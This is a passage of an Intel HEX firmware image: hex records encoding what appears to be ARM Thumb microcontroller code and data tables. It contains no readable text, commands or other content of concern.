:10261000133A0121914002221140002901D00122E8\n:1026200089E02246133A01219140042211400029F9\n:1026300001D002227FE02246133A01219140082274\n:102640001140002901D0032275E02246133A0121EE\n:10265000914010221140002901D004226BE0224653\n:10266000133A0121914020221140002901D0052276\n:1026700061E02246133A0121914040221140002995\n:1026800001D0062257E02246133A012191408022D0\n:102690001140002901D007224DE02246133A0121C2\n:1026A0009140FF2201321140002901D0082242E06E\n:1026B0002246133A01219140012252021140002981\n:1026C00001D0092237E02246133A0121914001222C\n:1026D00092021140002901D00A222CE02246133A2E\n:1026E000012191400122D2021140002901D00B2288\n:1026F00021E02246133A01219140012212031140A8\n:10270000002901D00C2216E02246133A0121914003\n:10271000012252031140002901D00D220BE0224674\n:10272000133A01219140012292031140002901D066\n:102730000E2200E00F220899914008434649088282\n:10274000204613384000401800888009800101A904\n:10275000495D891908432146133949003E4A8918C1\n:1027600008800221204600F042FA00BFE106C90EAF\n:10277000012088403949086000BF09B0F0BD01461A\n:102780003548008A0A46133A012393401840012332\n:102790009340DA07D20F002A01D0002298E00B46BE\n:1027A000133B01229A4002231A40002A01D0012241\n:1027B0008EE00B46133B01229A4004231A40002A64\n:1027C00001D0022284E00B46133B01229A400823E9\n:1027D0001A40002A01D003227AE00B46133B012263\n:1027E0009A4010231A40002A01D0042270E00B46C0\n:1027F000133B01229A4020231A40002A01D00522CF\n:1028000066E00B46133B01229A4040231A40002AFF\n:1028100001D006225CE00B46133B01229A40802344\n:102820001A40002A01D0072252E00B46133B012236\n:102830009A40FF2301331A40002A01D0082247E0C2\n:102840000B46133B01229A4001235B021A40002AE7\n:1028500006D009223CE000000014005000E100E036\n:102860000B46133B01229A4001239B021A40002A87\n:1028700001D00A222CE00B46133B01229A4001238F\n:10288000DB021A40002A01D00B2221E00B46133B49\n:1028900001229A4001231B031A40002A01D00C2276\n:1028A00016E00B46133B01229A4001235B031A40BA\n:1028B000002A01D00D220BE00B46133B01229A4067\n:1028C00001239B031A40002A01D00E2200E00F22B0\n:1028D0001041C0B2704710B5E04A128A0446133C5A\n:1028E0000123A3409A43234601249C40E307DB0FC6\n:1028F000002B01D0002493E00446133C0123A340A5\n:1029000002242340002B01D0012489E00446133C1B\n:102910000123A34004242340002B01D002247FE0A4\n:102920000446133C0123A34008242340002B01D07C\n:10293000032475E00446133C0123A34010242340E4\n:10294000002B01D004246BE00446133C0123A34078\n:1029500020242340002B01D0052461E00446133CD1\n:102960000123A34040242340002B01D0062457E03C\n:102970000446133C0123A34080242340002B01D0B4\n:1029800007244DE00446133C0123A340FF240134F7\n:102990002340002B01D0082442E00446133C0123CD\n:1029A000A340012464022340002B01D0092437E016\n:1029B0000446133C0123A3400124A4022340002B1E\n:1029C00001D00A242CE00446133C0123A340012437\n:1029D000E4022340002B01D00B2421E00446133CE9\n:1029E0000123A340012424032340002B01D00C2405\n:1029F00016E00446133C0123A34001246403234052\n:102A0000002B01D00D240BE00446133C0123A3400E\n:102A10000124A4032340002B01D00E2400E00F2446\n:102A20000B46A3401A438D4B1A8210BD8B49C989AE\n:102A30000346133B01229A4091431A4601239340D7\n:102A4000DA07D20F002A01D0002393E00346133B9C\n:102A500001229A4002231A40002A01D0012389E072\n:102A60000346133B01229A4004231A40002A01D056\n:102A700002237FE00346133B01229A4008231A40B9\n:102A8000002A01D0032375E00346133B01229A403C\n:102A900010231A40002A01D004236BE00346133BA5\n:102AA00001229A4020231A40002A01D0052361E028\n:102AB0000346133B01229A4040231A40002A01D0CA\n:102AC000062357E00346133B01229A4080231A4015\n:102AD000002A01D007234DE00346133B01229A4010\n:102AE000FF2301331A40002A01D0082342E00346A5\n:102AF000133B01229A4001235B021A40002A01D0B5\n:102B0000092337E00346133B01229A4001239B022D\n:102B10001A40002A01D00A232CE00346133B01226D\n:102B20009A400123DB021A40002A01D00B2321E046\n:102B30000346133B01229A4001231B031A40002A3B\n:102B400001D00C2316E00346133B01229A400123D7\n:102B50005B031A40002A01D00D230BE00346133B10\n:102B600001229A4001239B031A40002A01D00E2320\n:102B700000E00F2301229A401143384AD181704767\n:102B80000246133A9200364B9950704770B504468E\n:102B90002046FFF74BFF20461338800030490D5880\n:102BA000002D01D0A84708E000BFE106C90E0120B2\n:102BB00088402C49086000BF00BF70BD10B51320CD\n:102BC000FFF7E4FF10BD10B51420FFF7DFFF10BDC5\n:102BD00010B51520FFF7DAFF10BD10B51620FFF76E\n:102BE000D5FF10BD10B51720FFF7D0FF10BD10B5F1\n:102BF000002819DA1C4A03071B0F083B9B089B009F\n:102C0000D2588307DC0EFF23A3409A438B071B0E89\n:102C10008407E40EA3401A43134B0407240F083C17\n:102C2000A408A4001A5118E0104A03231B02D2186A\n:102C300083089B00D2588307DC0EFF23A3409A43EE\n:102C40008B071B0E8407E40EA3401A43074B032493\n:102C500024021B198408A4001A5110BD001400504E\n:102C6000C890002080E200E01CED00E000E100E000\n:102C700010B5002428E000BFE7490868C1B2E74862\n:102C800000690170E548C068401EE449C860084614\n:102C90000069401C08610846C068002814D1002162\n:102CA000DE4801610020DC494968490849000143C8\n:102CB000D94A516000BFD9484469002C03D0002193\n:102CC00041610020A04706E000BFD3494869C10721\n:102CD000C90F0029CFD100BF10BD10B500240020BE\n:102CE000CE49C8600021CD480161CB4880884008AA\n:102CF0004000C9498880C9484469002C03D000219C\n:102D000041610120A04710BD10B5002426E0C34951\n:102D100049680878C049086000BFC0480068401E84\n:102D2000BE49086008464068401C48600846006884\n:102D3000002813D1486000BFB74949680222914377\n:102D400042001143B44A516000BFB4488468002C6B\n:102D500003D00020B1498860A04709E000BFAE4918\n:102D60006031898B02221140481000BF0028CED16B\n:102D700000BF10BD00BFA8494869C107C90F00299D\n:102D800001D1012070470020FCE770B504460D46D4\n:102D9000A1488089802188439F4988810720088134\n:102DA00000208880084680898021884380309A49A5\n:102DB0008881002088808880E0B20880084685816C\n:102DC000808980218843944988810D200121814098\n:102DD000934A116000BF012100F0E4F80D200121A9\n:102DE00081408F4A803A116000BF00BF01218140BD\n:102DF0008C4A116000BF002088490876002187486E\n:102E0000016100208549C8604860086070BD70B5E8\n:102E100004460D4629462046FFF7B7FF70BD222025\n:102E20007D490861704700B5FFF7F9FF00BD38B56F\n:102E3000012400BF00BF7849486940210140890949\n:102E4000002907D000BF7449486920210140490981\n:102E5000002901D1002414E000206F49086100908E\n:102E600002E00098401C0090FF215F3100988842EA\n:102E7000F7D3FFF77FFF002802D1FFF7D4FF00242C\n:102E800000BF00BF204638BD10B5FFF7D0FF10BD12\n:102E900030B50120002102460B46C4018D012C43B0\n:102EA00055012C435D002C435B4D2C6100BF00BFDE\n:102EB00000BF594948692021014049090029F7D03C\n:102EC00000BF554948694021014089090029EFD0D8\n:102ED00030BD00B5FFF7DCFF00BD30B54F4BD9600A\n:102EE00018615A6101234C4C64689C431C434A4D51\n:102EF0006C6000BF30BD70B504460D4616463246C4\n:102F000029462046FFF7E9FF70BD70B504460D461F\n:102F100016464248056044608660FFF7F5FE3F486C\n:102F2000406800280AD001203B49496802229143A9\n:102F300042001143384A516000BF00BF70BD70B5F8\n:102F400004460D461646324629462046FFF7DDFF69\n:102F500070BD10B5304880680407240F012C1CD0C8\n:102F6000022C15D0042C10D00C2C14D12B48007E30\n:102F7000012809D100BF2849486980210140C909B9\n:102F8000002901D0FFF7A9FE06E0FFF771FE03E07C\n:102F9000FFF7BAFE00E000BF00BF10BD10B5FFF79D\n:102FA000D8FF10BD10B5002819DA1F4A03071B0F00\n:102FB000083B9B089B00D2588307DC0EFF23A340ED\n:102FC0009A438B071B0E8407E40EA3401A43164B4B\n:102FD0000407240F083CA408A4001A511AE0104A60\n:102FE000803A03231B02D21883089B00D258830720\n:102FF000DC0EFF23A3409A438B071B0E8407E40ECD\n:10300000A3401A43064B803B032424021B19840867\n:10301000A4001A5110BD000000110050388000209B\n:1030200080E100E080E200E01CED00E010B501234B\n:103030009B0303430B43584C238001239B0303430F\n:10304000012423430B43544C2380092313436380FF\n:1030500010BD514909880F22920191430207920D38\n:1030600011434D4A1180704700204B49088070473A\n:103070004A494948008802229043801C464A1080F1\n:1030800000BF0846491E002805D043480088022298\n:1030900010400028F5D100203F4A10811046408999\n:1030A00070470AE000BF00BF00BF00BF00BF00BF05\n:1030B00000BF00BF00BF00BF00BF0146401E002987\n:1030C000F0D1704770B50446022251024800FFF764\n:1030D000ADFF1420FFF7E5FF002C03D00920FFF718\n:1030E000B8FF02E00720FFF7B4FFFFF7C1FF054676\n:1030F0000120FFF7D6FF022200219002FFF796FF82\n:10310000002C03D00920FFF7A4FF02E00720FFF7FF\n:10311000A0FFFFF7ADFF06467519FFF7A5FF28468C\n:1031200070BDF8B51E481C4908801420FFF7B9FF90\n:103130000120400218498880C88008460088012183\n:103140000903884340181449088008460088012173\n:103150008902884310490880FFF78AFF0346DD1F74\n:10316000FF3DFA3D0C480088012189028843401840\n:1031700009490880FFF77CFF0446E61FFF3EFA3E40\n:103180006800012149020F1A7000081A00900249D4\n:103190008F800098C880F8BD00150050A0860100FF\n:1031A0000148000008B58920052109070881012090\n:1031B0004003874908800520000700888021884354\n:1031C00080300521090708800846008880088000B3\n:1031D00008808048008A02218843801C7D4908823B\n:1031E000FEF70BFD02F01EF902F022F9002000901C\n:1031F00004E068460088401C81B20091684600885F\n:103200009128F6DB08BD08B5002073490880488086\n:1032100072487349C880FF20D230088100206E496F\n:10322000C880C3206E49488008206E49088000206D\n:10323000009004E068460088401C81B20091684616\n:1032400000889128F6DB0020009004E068460088A2\n:10325000401C81B20091684600889128F6DB00206E\n:10326000009004E068460088401C81B200916846E6\n:1032700000889128F6DB08BD5B4B588099800122BD\n:103280001A8000BF584AD288D207D20F002AF9D13B\n:103290007047F0B5FFB0FFB091B0054603A90291A9\n:1032A000891C01914B48018AFFA8C163FFF77AFF8F\n:1032B00049480188FFA8816347484188FFA84163C6\n:1032C0004748C188FFA8016345480189FFA8C1623A\n:1032D0004148C188FFA881623F48418BFFA84162F5\n:1032E00042484188FFA801623D484188FFA8C1616A\n:1032F000FFF789FF0021FFA80161002635E0FF21CB\n:1033000003A8FFF7B9FF0021FFA88161002700246F\n:1033100025E00298005DC007C00F019A115DC90742\n:10332000C90F4840FFA94861FFA88169481CC2B283\n:10333000FFA88261406988403843C7B2FFA880690E\n:10334000082809D1FFA80169481C82B2FFA80261C0\n:103350006F540021816100272046103084B2FF2085\n:1033600080008442D5DD701C86B2022EC7DBFFA828\n:10337000C06B1849088200201A490880FFA8806B9A\n:1033800015490880FFA8406B4880FFA8006B1449CE\n:10339000C880FFA8C06A0881FFA8806A0E49C8805B\n:1033A000FFA8406A4883FFA8006A10494880FFA828\n:1033B000C0690B49488005200007008880218843A8\n:1033C0000521090708807FB07FB011B0F0BD000073\n:1033D00000020040E03000500024005080800000D7\n:1033E000602800502020005000350050002600507A\n:1033F0006D480078002807D10920012181406B4ADF\n:10340000116000BF002070470020C043FBE770B58B\n:103410000025FEF7A1FB0520000780881021084049\n:103420000011002809D00125012061498880084643\n:103430000088802188435E490880012D06D15D48BF\n:103440000068002802D05B480468A04770BDFFB543\n:1034500081B004460D4616460520000780881021DD\n:1034600088431030052109078880002050490881D1\n:10347000F0B24880002010E0C2002146D140CFB217\n:1034800041004B4A89184F81C2002946D140CFB232\n:103490004100474A89184F82401C0428ECDB44480D\n:1034A000C0890321090288432104890F09020843C6\n:1034B0003F49C8810846C08A03210902884329047C\n:1034C000890F090208433A49C882012088800920EF\n:1034D00001218140384A116000BF04988006800EA7\n:1034E00080210843324908800121092000F023F897\n:1034F0002D48007840084000401C2B4908700920E6\n:1035000001218140294A803A116000BF05B0F0BD19\n:1035100000B5254800784008400023490870012084\n:1035200023498880084600888021884320490880F4\n:10353000FFF75EFF00BD10B5002819DA1F4A030728\n:103540001B0F083B9B089B00D2588307DC0EFF2310\n:10355000A3409A438B071B0E8407E40EA3401A4333\n:10356000164B0407240F083CA408A4001A511AE0C3\n:103570000E4A803A03231B02D21883089B00D258BC\n:103580008307DC0EFF23A3409A438B071B0E84079F\n:10359000E40EA3401A43054B803B032424021B196D\n:1035A0008408A4001A5110BD5480002080E100E07E\n:1035B000000100505880002080E200E01CED00E097\n:1035C00070B504460D461646012C0FD106221E4941\n:1035D0001E4801F033FF002808D006221B49304660\n:1035E00001F072FE06202870002070BD3246294688\n:1035F000204601F029FFF8E770B5154E154C164D21\n:10360000E0050088802188438030E105088000BF04\n:103610001248408908210840082803D02046641E2B\n:103620000028F5D101200E490860062229460748E6\n:1036300001F04AFE0520000700888021884305210B\n:103640000907088070BD0000383E03005C80002040\n:10365000D47F0000A0860100D47F04002000005029\n:103660000080004070B50446E002642101F01AFEBB\n:1036700005466D1E284670BDF8B50446204601F08B\n:10368000A6FC064693480168304601F063FC0546F7\n:1036900001F0A4FC00900098F8BDF0B585B00020C2\n:1036A00004908D48406D0390FDF7DFF9002803D1A9\n:1036B0008A480079022801D10020039000BFFDF75D\n:1036C0007FFC002800D000E101F0C4FE002800D1FA\n:1036D000FBE0012004908148C078002800D1F4E08C\n:1036E00005200007808AC007C00F002802D00420F0\n:1036F0000490EAE001F0F8FC002800D0E5E078480A\n:103700008069002802D07448406D0390039F73487D\n:10371000817803A801F0A4FE002800D1D5E06F480D\n:10372000817803A801F0F2FC002800D1CDE0002050\n:10373000029003976B480068AA2800D100BF00BF21\n:1037400068480068002800D100BF00BF00BF00BF6C\n:1037500001208007006AFF212D318842F7D3002025\n:10376000019000BF5D48817803A801F079FE002830\n:1037700000D10AE05948817803A801F0C7FC00286D\n:1037800000D102E00120019000BF00BF0198002895\n:1037900000D19AE00398002805D00298002802D0B2\n:1037A0000398401E03904F480068AA2800D100BF2C\n:1037B00000BF4C480068002800D100BF00BF832430\n:1037C00049480078022800D132344848007801285E\n:1037D00000D121340020454908700F256E260120B4\n:1037E0008007C06B800A8002284301218907C863D3\n:1037F0000846C06B3E490840A102084301218907E1\n:10380000C8630846C06BC002C00A710508430121A5\n:103810008907C863042004900398002802D0039805\n:10382000001D03902F480068002800D100BF00BF92\n:103830000398FFF717FF2F490860284800790028F0\n:1038400001D0012000E0002001462A48006801F074\n:103850000DFE2949C86A804700200090FDF70AFC48\n:10386000002810D005200007008830218843303020\n:103870000521090708800846008880088000C01CD0\n:1038800008800120009000BF00BF01218907086B5C\n:10389000C9130140C90B0029F6D000BF17480068C2\n:1038A000FF21013108400028F8D00098002801D0FD\n:1038B000FEF752F901F0E0FD0520000700898021A4\n:1038C000884305210907088100BF00BF049805B09F\n:1038D000F0BD00001880002060020020C60608002D\n:1038E000A805080008800020540208006D80002010\n:1038F000FF03E0FF648000201C0708000002004076\n:10390000F8B500BF01208007806B06463046FDF702\n:10391000FBFA0746D649384601F0C4FC0546D449AF\n:10392000384601F0BFFC27200001441A002C00D1CA\n:10393000012400BFCF48456000BF00BF046000BF46\n:1039400001208107096B08229143C20011438207BD\n:10395000116300BFC8480660C8480068002806D048\n:10396000C6480068B04202D200BF00BE00BFF8BD2A\n:1039700010B50520000740898007800F00280DD072\n:10398000052000074089800880000521090748813B\n:10399000BB48408840084000B949488005200007DE\n:1039A0000089802188438030052109070881084665\n:1039B000008A0421884305210907088200BF0520E9\n:1039C0000007808A022108400028F8D001F05AFD43\n:1039D000012080070069042108408008002802D0E7\n:1039E00000BF00BE00BF00BF0120800700690421A6\n:1039F000084080080028F7D010BD10B5A148008805\n:103A0000002848D101209F49088008209E4908804D\n:103A10000520000740898007800F002834D005204A\n:103A20000007808A042108408010002801D0FDF79B\n:103A3000E5F89348008880218843803090490880C9\n:103A4000FF209249488004200880FEF775F80BE0BB\n:103A50008E49C98809048D4A928888187D21C90039\n:103A6000884200D901E000BFF2E700BF0520874986\n:103A70000880874800880521090748808048008819\n:103A8000802188437E490880042001218140814AA9\n:103A9000116000BF00BF10BD10B5FEF75DF8FFF765\n:103AA00067FF00207749088005200007408A8021B1\n:103AB000884305210907488273480089400840006F\n:103AC0007149088101208007806904218843001D15\n:103AD0000907886101F0DCFC0420012181406D4A66\n:103AE0008032116000BF01F0D9FC01F0DDFC6A48B2\n:103AF0000068AA2800D100BF00BF002067490870F5\n:103B00005F4840890121490208404012002818D02E\n:103B100063480078002814D1012061490870614889\n:103B20000088C007C00F00280BD10120FFF7CAFA98\n:103B300004468B208000844202D902205849087034\n:103B400000BF10BD10B501205749087001F0B2FC4C\n:103B500010BD10B501F0B4FCFFF7F4FF01204F4990\n:103B6000087010BD10B501208007048A8020204015\n:103B7000002807D0FFF7E6FF47480068AA2800D1D1\n:103B800000BF00BF10BD10B501F0A0FC10BD10B506\n:103B900001208007048A08202040002823D001F05B\n:103BA0009BFC01208107096849004908C2071143AD\n:103BB0008207116000BF00BF00BF012189070868AC\n:103BC000C10F0029F8D100BF2A4980310868C1B26D\n:103BD000002905D0012027498031086000BF00BFBF\n:103BE00004202E49087031480078042804D0304859\n:103BF0000068401C2E49086010BD70B52D48008833\n:103C00008506AD0E2C4844682C48066F3078002895\n:103C100002D1284601F066FC29480089FF210131C4\n:103C20000840001200280AD080202040002806D03A\n:103C3000E007C00F002802D0284601F059FC802080\n:103C40002040002806D0E007C00F002802D0032043\n:103C5000124908700120C0032040002807D0FF202F\n:103C600001302040002802D002200C49087070BDAD\n:103C70007102000040000040688000206480002045\n:103C800020000050708000200033005000160050CB\n:103C90006E80002000E200E0088000206C800020A0\n:103CA0006D8000200015005072800020DC90002004\n:103CB000EC9000200020005000020040E0010020B5\n:103CC000002C0050FFB581B004460E4617466288AE\n:103CD00021880623384601F033FB0546207901F0A0\n:103CE0000DFC28802E7104986880284601F03AFB6C\n:103CF00005B0F0BDF8B504460E4617466288207937\n:103D0000000201460C310423284801F019FB054646\n:103D1000002E01D0132000E0122028706F8028466A\n:103D200001F020FBF8BD10B5024608881346187054\n:103D30001A465B1CFF242402044024121C7000BF9E\n:103D400088789070C878D07008791071487950716F\n:103D500088799071072010BD10B5024600BF137816\n:103D6000547824022343184600BF08809078887056\n:103D7000D078C8701079087150794871907988713D\n:103D8000072010BD10B500F013F810BD70B5064641\n:103D90000C461546362001F007FA022805D1E2B29A\n:103DA00036232946304601F0AFFB70BD0D300000D0\n:103DB00010B50A21584801F0ADFB5849362001F0F2\n:103DC000AFFB0021362001F013FA10BD70B5054697\n:103DD0005148018804233622514801F0B1FA0446C3\n:103DE0004D49087901F08AFB2080A570204601F03A\n:103DF000B9FA70BD70B505464748018812233622CE\n:103E00004748401C01F09CFA04464349087901F0F8\n:103E100075FB208010222946A01C01F055FA20468F\n:103E200001F0A0FA70BD70B505463B480188042337\n:103E300036223B48801C01F083FA04463649087953\n:103E400001F05CFB20802978A1706978E170204640\n:103E500001F088FA70BD70B505462F48018804232B\n:103E600036222F48C01C01F06BFA04462A49087913\n:103E700001F044FB20802978A1706978E170204628\n:103E800001F070FA70BD70B505462348018804231F\n:103E900036222348001D01F053FA04461E490879D2\n:103EA00001F02CFB2080A570204601F05BFA70BD6C\n:103EB0001CB51949C888002101F038FB1648018853\n:103EC000022336221648401E01F03AFA04461249EF\n:103ED000C988891C88B26A4601A901F02DFB0E49E8\n:103EE000087901F00BFB2080204601F03BFA01210C\n:103EF000362001F07DF91CBD70B5044606480188E6\n:103F0000012336220648083001F01AFA05462C70C3\n:103F1000284601F027FA70BD74800020CC5900209B\n:103F200002D80000F0B589B01D460521C9020691EE\n:103F3000C91C0591FE4804903620FE4948800620A1\n:103F40000890002007900527CD200097019036218A\n:103F5000F848801D079B089A01F0F4FA0646002EE7\n:103F60007ED1F448801D012100910190811FC888F5\n:103F700006AB0222102101F0EBFA0646ED49C88893\n:103F8000ED4A102101F0EAFA064602A8012100914B\n:103F90000190E849C88805AB0222132101F0D8FA44\n:103FA000064603A8092100910190E249C888E34B25\n:103FB0001022012101F0CCFA0646E1496846007B57\n:103FC00048706846407B88700A461321684600891D\n:103FD00001F0C4FA064602A8012100910190D549DA\n:103FE000C88805AB0222132101F0B2FA064603A8E5\n:103FF000092100910190CF49C888D24B1022114667\n:1040000001F0A6FA0646D0496846007B487068462B\n:10401000407B88700A4613216846008901F09EFAA9\n:10402000064602A8012100910190C249C88805AB4B\n:104030000222132101F08CFA064603A809210091FF\n:104040000190BC49C888C14B1022022101F080FABE\n:104050000646BF496846007B48706846407B00E0E2\n:104060005CE088700A4613216846008901F076FA00\n:10407000064602A8012100910190AE49C88805AB0F\n:104080000222132101F064FA064603A809210091D7\n:104090000190A849C888AF4B1022022101F058FABC\n:1040A0000646AD496846007B48706846407B88708C\n:1040B0000A4613216846008901F050FA064602A814\n:1040C0000121009101909B49C88805AB0222132170\n:1040D00001F03EFA064603A8092100910190954996\n:1040E000C8889E4B1022012101F032FA06469C49F5\n:1040F0006846007B48706846407B88700A461321FA\n:104100006846008901F02AFA06468A49C8880021D3\n:1041100001F00CFA0121362001F06AF80123362261\n:104120002946904801F00CF904462670204601F01B\n:1041300019F9002009B0F0BDF8B507460C461D4638\n:1041400001267C480580208801F00EFA7949087123\n:1041500008460079FF2808D11B23DB02814AD21CC4\n:1041600089217448FFF7AEFD33E0A178714AD08809\n:1041700001F0DCF96F49C988891C88B2E21C012171\n:1041800001F0ECF96B49C988091D88B2221D102184\n:1041900001F0E4F96749C988891D88B222461432C2\n:1041A000022101F0DBF96349C988083188B222464F\n:1041B0001632022101F0D2F95E49C9880A3188B26B\n:1041C00022461832012101F0C9F90221362001F0FE\n:1041D0000FF80020F8BDF8B506460C461746002536\n:1041E0005449087901F08AF92188884216D1514949\n:1041F000C988091D88B2A21C012101F0AFF94D4800\n:10420000007AC007C00F002809D04A48C088001DA6\n:1042100082B200214748FFF76DFD00E08125002DA7\n:1042200002D02846FFF768FE0020F8BDF8B50C461E\n:104230001E46002580273004000E3E490979884239\n:1042400031D121883B48C088801C814200D10125A2\n:1042500021883848C088001D814200D1022521886C\n:104260003448C088801D814200D10325218831480F\n:10427000C0880830814200D1042521882D48C0889B\n:104280000A30814200D10525012D0DD1208822461A\n:104290000832012101F062F9E079002802D0207A89\n:1042A000FFF794FD002760E0022D0ED12088224602\n:1042B0000832102101F052F9E079002803D020469D\n:1042C0000830FFF797FD00274FE0032D0ED120881F\n:1042D00022460832022101F041F9E079002803D09A\n:1042E00020460830FFF79FFD00273EE0042D0ED149\n:1042F000208822460832022101F030F9E0790028B6\n:1043000003D020460830FFF7A6FD00272DE0052D3D\n:104310002BD1208822460832012101F01FF9E079D3\n:10432000002804D021460831C8B2FFF7ACFD1BE0DD\n:1043300002290000748000206C5900207C59002064\n:10434000085B00208C5900201B5B00209C5900203A\n:104350002E5B0020AC590020415B0020BC5900209E\n:10436000545B002008D80000002721880A4A1079F1\n:104370003A4601F0FFF80020F8BDF8B505460E46B4\n:1043800017461C462004000E03490979884201D1D2\n:10439000FFF78EFD0020F8BD7480002010B50C21C1\n:1043A0004E4801F0B7F801204C49C870087100F080\n:1043B000D4FA4B49322001F0B3F80021322000F04A\n:1043C00017FF00F0DAF810BD10B5002400F004FC6F\n:1043D0000446204610BD10B54048807800020146D2\n:1043E0000E31022332223F4800F0AAFF044601208A\n:1043F000207013206070204600F0B4FF10BD70B52F\n:10440000054636488078000201460E312C233222C0\n:104410003448801E00F094FF0446282005550021F2\n:1044200029200155204600F09DFF70BD10B5502396\n:1044300032220D212C4800F083FF0446204600F074\n:10444000CBFA204600F08EFF0221322000F0D0FE91\n:1044500010BD10B5012332220D2123480B3800F086\n:104460006FFF044602202070204600F07BFF10BD45\n:1044700010B500F0CCFB10BD70B505460E461446D5\n:104480001A48844201DD044602E0002C00D10124D8\n:1044900022463146284601F073F870BDF8B506464D\n:1044A0000F461546252332220D210F48C01C00F06F\n:1044B00047FF0446012020770622394620461D305A\n:1044C00000F002FF2320065565822582204600F079\n:1044D0004CFC204600F046FFF8BD00008080002024\n:1044E000245A0020043800000E340000307500000B\n:1044F00010B501F04BF80446344901F04DF834484A\n:10450000081810BD70B505463248857600240EE0C7\n:1045100001F03CF80646C017000E80190012000298\n:10452000301AC1B22B4810300155601CC4B2082C9F\n:10453000EEDB0020044612E01021091BA94201DD38\n:10454000002107E001F022F8C117090E091809122D\n:104550000902411A1F4A1155601CC0B20446102CB2\n:10456000EADB01F013F80646C017000C80190014AE\n:104570000004301A1749088370BD10B5242115486E\n:1045800000F0C8FF00F0EDF910BD10B512488078BA\n:10459000000201460E3102233222104800F0D0FE04\n:1045A00004460D2020700B4820308078002800D170\n:1045B00002E00848203080786070204600F0D2FE8B\n:1045C0000321322000F014FE10BD0000A0BB0D003E\n:1045D000A08601008C800020808000201A38000016\n:1045E000F8B507460C4615461E462078030000F035\n:1045F000E1FD0805272727091B1F2327204600F078\n:10460000B7FB1EE06078012802D06078002803D153\n:10461000204600F0CEFB06E06078022803D1294650\n:10462000304600F013FC0CE0204600F0E2FB08E00E\n:10463000204600F0DFFB04E0204600F0DCFB00E059\n:1046400000BF00BF0020F8BDF8B505460C46164671\n:104650001F462078801E030000F0ACFD06041B24DA\n:1046600022232124A178384881708078C007C00FA8\n:1046700000280BD03548407933492039C8760622C6\n:104680003249891D3048001F00F01EFE00F0D8FBA3\n:1046900009E0FFF7A0FE00212B48817003E002E053\n:1046A00001E000E000BF00BF0020F8BDF8B50D46F6\n:1046B00017461E4612233A463146254800F040FE72\n:1046C0000446284600F0BDFB002801D1207028E0F8\n:1046D0001D488078C007C00F002820D00822A91CE0\n:1046E0001948103800F0AAFE002818D116482038C2\n:1046F000008B2988884212D101202070124820386E\n:10470000807E6074102210492039601C00F0DCFDAE\n:104710000D498878FFF773FE00F097FB01E0002059\n:104720002070204600F01EFE2078002801D1FFF7FF\n:1047300052FE0020F8BDF8B504460D4616461F4649\n:1047400000F082FB0020F8BDAC80002080800020BB\n:1047500018380000F8B506460F461446204600F00B\n:1047600023FD00280CD1012332220D21594800F0ED\n:10477000E7FD054601202870284600F0F3FD00BF44\n:104780000020F8BDF8B506460C46154620780E28E0\n:104790002CD008DC01280FD0022830D003281FD0ED\n:1047A0000D2837D123E00F2825D0102828D0112834\n:1047B00027D012282ED127E0607800280FD122239D\n:1047C00032220D214348801C00F0BAFD07463946CD\n:1047D000284600F01DFA384600F0C4FD00BF1AE07C\n:1047E0006078002801D100F037FA14E000BF60784B\n:1047F00000F045FA0FE0607800F0ACFA0BE00AE058\n:1048000000BF00F0B1FA06E06078442801D100F062\n:10481000AEFA00E000BF00BF0020F8BDF8B50746C3\n:104820000C4615461E46284600F0BEFC022806D15E\n:104830003004000E28498870204600F0ADF80020B2\n:10484000F8BDF8B506460C4615461F4620780A28DE\n:1048500012D1284600F0A8FC04280CD1607800286A\n:1048600003D0607800F009FA05E00521284600F041\n:10487000BFFC00F003FA00E000BF00BF0020F8BD5D\n:10488000F8B506460D4614461F462946204600F058\n:104890007CF90020F8BDF8B506460C4615461F46C3\n:1048A000284600F081FC012808D12078002805D195\n:1048B000FFF78AFD002801D000F04DFA0020F8BD76\n:1048C000F8B505460C4616461F46204600F04EFA3F\n:1048D0000020F8BD023400008080002010B5FB48A5\n:1048E00000F076FE0523012200215002FEF7AFFD05\n:1048F00010BD10B505200007808A042108408010F3\n:10490000002801D0FCF77AF9322000F04DFC022893\n:1049100022D1FFF79EFDEE4800780D2802D00E2828\n:1049200017D10AE00E20EA4908700420E94908700E\n:104930003221E94800F050FC0BE00D20E4490870FA\n:104940000020E449087028223221E34800F018FED4\n:1049500000BF00BFFFF7C2FF10BD0D20DC4908708B\n:104960007047704710B51C2332223621880200F0B0\n:10497000E7FC0446D948008820800120A070D84870\n:10498000007AE0701022D6490A31201D00F09CFC0C\n:10499000204600F0E7FC10BD10B50446CF488078F3\n:1049A000FF2816D0FFF7DEFF0521322000F020FCA3\n:1049B0002088CA490880607A4871062221460A3157\n:1049C000C648801D00F080FCC6498878FFF717FDB7\n:1049D00001E0FFF72BFD10BD70B590B00446BC4858\n:1049E0000078207000206070BF48A081E08107201F\n:1049F0002074012060741C21E1741F2130200155B6\n:104A0000B4480078002806D001280DD0022814D020\n:104A1000032824D11AE0B548B54908601B20087165\n:104A200008460179E17420E0B248B14908601C20D1\n:104A3000087108460179E17417E0A948AC4908609B\n:104A40001A20087108460179E1740EE0AA48A849C5\n:104A500008601620087108460179E17405E000211C\n:104A6000E1740020A249086000BF00BFA04802799D\n:104A700001682046143000F027FC00213020015549\n:104A8000025D9EA12046313000F01EFCE07C1C211E\n:104A9000081A801E46B2002E25DD0D252A4698A153\n:104AA000684600F07FFD002D1DDD28463146884216\n:104AB00001D2024600E00A46D5B2681CC1B2E27CCF\n:104AC0002046143081540922E17C491C4254E27C86\n:104AD000921C014650182A46694600F0F5FBE17C1D\n:104AE000A81C0818E07410B070BD70B500BFFEF7C8\n:104AF00018FB0020FEF7E6FA0546E1206843400275\n:104B0000040C204670BD10B5FFF7EFFF04462012DD\n:104B100021020843784948817D48017876484175EB\n:104B20007B4800880004010E7348017578480068CE\n:104B30000002010E7048C17475480068000E6E498D\n:104B40008874744801786C48417472480088000485\n:104B5000010E694801746F4800680002010E664842\n:104B6000C1736C480068000E6349887310BD10B5AE\n:104B7000022200219002FEF759FA0120FEF769FA9D\n:104B8000FEF776FA84B2204610BD70B505460E4693\n:104B9000284600F009FB0446032C03D0052C01D065\n:104BA000042C0CD100204B4908700D204849087096\n:104BB00028223221484800F0E3FCFFF737FC70BDA3\n:104BC00010B5012332223621534800F0B9FB0446C8\n:104BD000204600F0C7FB10BD10B5002402204F494D\n:104BE00008703E48C07802280EDA3C48C078012898\n:104BF00002D1FFF7E5FF00E000BF00BF3748C078F3\n:104C0000401C3649C87000E00124204610BD7047A2\n:104C100003220A700A224A7000224A820A754A75E3\n:104C20001722CA8208220A8310224A8300228A831A\n:104C30006422CA830023202253547047F8B50446E7\n:104C40000D4616461F46322000F0AEFA022801D16A\n:104C